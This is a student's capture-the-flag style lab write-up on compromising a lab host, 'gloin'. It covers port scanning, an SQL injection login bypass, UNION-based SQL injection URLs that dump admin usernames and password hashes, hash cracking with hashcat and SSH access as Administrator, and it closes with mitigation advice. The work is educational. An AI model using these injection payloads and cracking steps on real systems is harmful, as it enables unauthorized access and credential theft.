Lab 9.2 - Exploiting Gloin

Target: gloin.shire.org

Target IP Address (10.0.5.31)

Find the Gloin.shire.org IP address

The DNS server for the shire.org network is 10.0.5.22 (which we found in Class Activity 3.1 DNS Enumeration).

  • Use nslookup to figure out what ip address is associated with gloin.shire.org

sudo nslookup gloin.shire.org 10.0.5.22

Open Ports

Nmap scan (with -Pn)

-Pn treats all hosts as online, skipping host discovery. This is less noisy because it's not sending out pings to all the hosts that it is scanning.

22/tcp --> SSH 
443/tcp --> https
3389/tcp --> ms-wbt-server (rdp)
open ports on 10.0.5.31

Version Scan (-sV)

sudo nmap -sV -p 22,443,3389 10.0.5.31
Versions of the services running on the open ports

Vulnerabilities

When we scanned the open ports on 10.0.5.31 we found that 443 was open. This means that a website is running using the Gloin IP address, but using HTTPS instead of HTTP.

  • In the browser I typed in https://10.0.5.31 and was greeted by the login box below:

https://10.0.5.31/enterance_exam/login.php (the path the login page is on)

Since we need to input a code, we can try a basic authentication bypass SQl injection in the input box:

' OR 1=1 --
Explanation of Inject

The sites query will look something like this to the SQL database:

SELECT * FROM exams WHERE reference_code = '$reference_code'; 
  • $reference_code is whatever the user enters into the form

When we enter in the basic authentication bypass, the SQl query becomes:

SELECT * FROM exams WHERE reference_code = '' OR 1=1 -- ';
  • ' closes the expected string early

  • OR 1=1 forces a true conditions (matches everything)

  • -- comments out the rest of the query

Because 1=1 is always true, the database will think the reference code is blank, but since 1=1 is true it will return the exam, or log you in anyway.

Successful login with SQLi

Now that we know this site is vulnerable to SQL injections, we can explore that further.

How you achieved a foothold

SearchSploit

searchsploit is a command-line tool that lets you search through a massive database of public exploits and vulnerability references.

It comes with the Exploit-DB (Exploit Database) repository — a huge collection of known exploits for real-world software (websites, apps, servers, etc).

When you find a specific software version (e.g., "WordPress 5.2", "PHPMyAdmin 4.8.1"), You can use searchsploit to quickly see if there are known vulnerabilities or public exploits for that version.

searchsploit [keyword]

Search exploits related to a keyword (e.g., searchsploit wordpress)

searchsploit "[exact phrase]"

Search for an exact phrase (e.g., searchsploit "phpmyadmin 4.8.1")

searchsploit [keyword1] [keyword2]

Search multiple keywords together (e.g., searchsploit apache 2.4.49)

searchsploit -u

Update the Exploit-DB database to the latest version

searchsploit -h

Display the help menu with all options

If you want to search efficiently, use quotes for exact matches:

searchsploit "phpmyadmin 4.8.1"

Or Grep the results:

searchsploit apache | grep 2.4.49
sudo searchsploit Entrance Exam 

Each file that shows up when searching an application contains information on how to exploit the application. To do so use the follow syntax:

searchsploit -m "exploit ID" 

The exploit IDs are the numbers the files are named after. So the exploit ID of 50398.txt is 50398

Once you do the command above, the path to the exploit file will displayed on the screen and you can cat it to see how to exploit the application.

In the example below I chose the Unauthenticated Admin Creation exploit, and you can see when I catted the 50396.txt file it gave me instructions what what commands to run in the terminal to create an admin user named exploitdb

I looked through all the exploit options and found the Multiple SQL injection option to be most helpful for our case. (we don't want to make a new admin user, just get the credentials of the user).

Multiple SQL injection exploit

Results from the Admin option:

https://10.0.5.31/entrance_exam/admin/view_enrollee.php?id=1%27+UNION+SELECT+1,2,3,4,5,6,password,username,9,10,11,12,13,14,15+FROM+admin_list;

I copied the command above from the exploit file into the web browser, replaced 127.0.0.1 with the correct IP address, and when I ran the query, I got an output with a password hash and a username!

Results from the unauthenticated option:

I also tried the unauthenticated option from the exploit file, and the output was also a hash and username. I am going to assume that since the user name we found here is admin that this is the correct admin user.

https://10.0.5.31/entrance_exam/take_exam.php?id=%27+UNION+SELECT+1,username||%27;%27||password,3,4,5,6,7+FROM+admin_list;

Cracking the Hash:

  • Copy over the rockyou.txt password list to your current directory

  • make a file to put your hash in --> gloin_hash.txt

  • Since we don't know what type of hash we have, we can have hashcat autodetect it.

sudo hashcat gloin_hash.txt gloin_password_list.txt
sudo hashcat -m 0 -a 0 gloin_hash.txt gloin_password_list.txt

I tried to crack the hash with MD4 first since that was listed as the most likely hash structure in the image above, but it ended up being a MD5 hash.

Successful password crack

How you achieved root/Administrative level compromise

In order to achieve root compromise, I attempted to SSH to gloin via ssh admin@10.0.5.31 this did not work. After consulting with my fellow classmate Liam, he tried a few different variations of Admin and eventually found that the username that worked was Administrator. After knowing that I was able to login to Gloin as the administrator!

Logged into as the admin

This system is a windows system, so you will have to use different commands then your linux system.

User Flag

I got into the system as admin first, but after I found the admin flag I checked the users on the systems and noticed that there was a gloin user. I was able to find the user-flag within the Gloin user directory.

Root Flag

How might the vulnerabilities be mitigated by the systems administrator and developer?

There were many issues found while exploiting this system:

Here are some ways that these vulnerabilities could be patched to deter exploitation:

  • Use stronger Hash types for password encryption

  • Update password policies so that users passwords cannot be cracked with generic password lists.

  • Update apache

  • Disable the ssh login to administrator

Mitigation specifically for SQLi

  • Use prepared statements

  • Input Validation

  • Web Application Firewall

    • tools like ModSecurity can catch basic SQLi

Last updated